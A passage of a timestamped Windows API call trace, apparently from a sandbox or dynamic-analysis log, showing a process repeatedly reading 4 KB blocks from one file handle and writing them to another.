[0077.807] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.807] GetLastError () returned 0x0
[0077.807] SetLastError (dwErrCode=0x0)
[0077.807] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.807] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.807] GetLastError () returned 0x0
[0077.807] SetLastError (dwErrCode=0x0)
[0077.808] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.808] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.808] GetLastError () returned 0x0
[0077.808] SetLastError (dwErrCode=0x0)
[0077.808] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.808] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.808] GetLastError () returned 0x0
[0077.808] SetLastError (dwErrCode=0x0)
[0077.808] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.809] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.809] GetLastError () returned 0x0
[0077.809] SetLastError (dwErrCode=0x0)
[0077.809] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.809] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.809] GetLastError () returned 0x0
[0077.809] SetLastError (dwErrCode=0x0)
[0077.809] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.809] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.810] GetLastError () returned 0x0
[0077.810] SetLastError (dwErrCode=0x0)
[0077.810] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.810] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.810] GetLastError () returned 0x0
[0077.810] SetLastError (dwErrCode=0x0)
[0077.810] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.810] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.810] GetLastError () returned 0x0
[0077.811] SetLastError (dwErrCode=0x0)
[0077.811] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.811] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.811] GetLastError () returned 0x0
[0077.811] SetLastError (dwErrCode=0x0)
[0077.811] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.811] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.811] GetLastError () returned 0x0
[0077.811] SetLastError (dwErrCode=0x0)
[0077.811] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.812] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.812] GetLastError () returned 0x0
[0077.812] SetLastError (dwErrCode=0x0)
[0077.812] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.812] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.812] GetLastError () returned 0x0
[0077.812] SetLastError (dwErrCode=0x0)
[0077.812] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.812] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.813] GetLastError () returned 0x0
[0077.813] SetLastError (dwErrCode=0x0)
[0077.813] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.813] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.813] GetLastError () returned 0x0
[0077.813] SetLastError (dwErrCode=0x0)
[0077.813] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.813] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.813] GetLastError () returned 0x0
[0077.813] SetLastError (dwErrCode=0x0)
[0077.814] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.814] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.814] GetLastError () returned 0x0
[0077.856] SetLastError (dwErrCode=0x0)
[0077.856] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.857] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.858] GetLastError () returned 0x0
[0077.858] SetLastError (dwErrCode=0x0)
[0077.858] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.858] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.858] GetLastError () returned 0x0
[0077.858] SetLastError (dwErrCode=0x0)
[0077.859] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.859] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.859] GetLastError () returned 0x0
[0077.859] SetLastError (dwErrCode=0x0)
[0077.859] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.859] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.859] GetLastError () returned 0x0
[0077.859] SetLastError (dwErrCode=0x0)
[0077.859] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.859] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.860] GetLastError () returned 0x0
[0077.860] SetLastError (dwErrCode=0x0)
[0077.860] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.860] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.860] GetLastError () returned 0x0
[0077.860] SetLastError (dwErrCode=0x0)
[0077.860] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.860] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.860] GetLastError () returned 0x0
[0077.860] SetLastError (dwErrCode=0x0)
[0077.861] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.861] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.861] GetLastError () returned 0x0
[0077.861] SetLastError (dwErrCode=0x0)
[0077.861] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.861] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.861] GetLastError () returned 0x0
[0077.861] SetLastError (dwErrCode=0x0)
[0077.861] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.861] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.862] GetLastError () returned 0x0
[0077.862] SetLastError (dwErrCode=0x0)
[0077.862] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.862] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.862] GetLastError () returned 0x0
[0077.862] SetLastError (dwErrCode=0x0)
[0077.862] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.862] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.862] GetLastError () returned 0x0
[0077.863] SetLastError (dwErrCode=0x0)
[0077.863] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.863] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.863] GetLastError () returned 0x0
[0077.863] SetLastError (dwErrCode=0x0)
[0077.863] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.863] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.863] GetLastError () returned 0x0
[0077.863] SetLastError (dwErrCode=0x0)
[0077.863] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.863] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.864] GetLastError () returned 0x0
[0077.864] SetLastError (dwErrCode=0x0)
[0077.864] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.864] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.864] GetLastError () returned 0x0
[0077.864] SetLastError (dwErrCode=0x0)
[0077.864] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.864] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.865] GetLastError () returned 0x0
[0077.865] SetLastError (dwErrCode=0x0)
[0077.865] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.865] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.865] GetLastError () returned 0x0
[0077.865] SetLastError (dwErrCode=0x0)
[0077.865] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.865] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.865] GetLastError () returned 0x0
[0077.865] SetLastError (dwErrCode=0x0)
[0077.865] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.865] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.866] GetLastError () returned 0x0
[0077.866] SetLastError (dwErrCode=0x0)
[0077.866] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.866] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.866] GetLastError () returned 0x0
[0077.866] SetLastError (dwErrCode=0x0)
[0077.866] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.866] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.866] GetLastError () returned 0x0
[0077.866] SetLastError (dwErrCode=0x0)
[0077.867] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.867] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.867] GetLastError () returned 0x0
[0077.867] SetLastError (dwErrCode=0x0)
[0077.867] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.867] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.867] GetLastError () returned 0x0
[0077.867] SetLastError (dwErrCode=0x0)
[0077.867] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.867] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.868] GetLastError () returned 0x0
[0077.868] SetLastError (dwErrCode=0x0)
[0077.868] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.868] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.868] GetLastError () returned 0x0
[0077.868] SetLastError (dwErrCode=0x0)
[0077.868] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
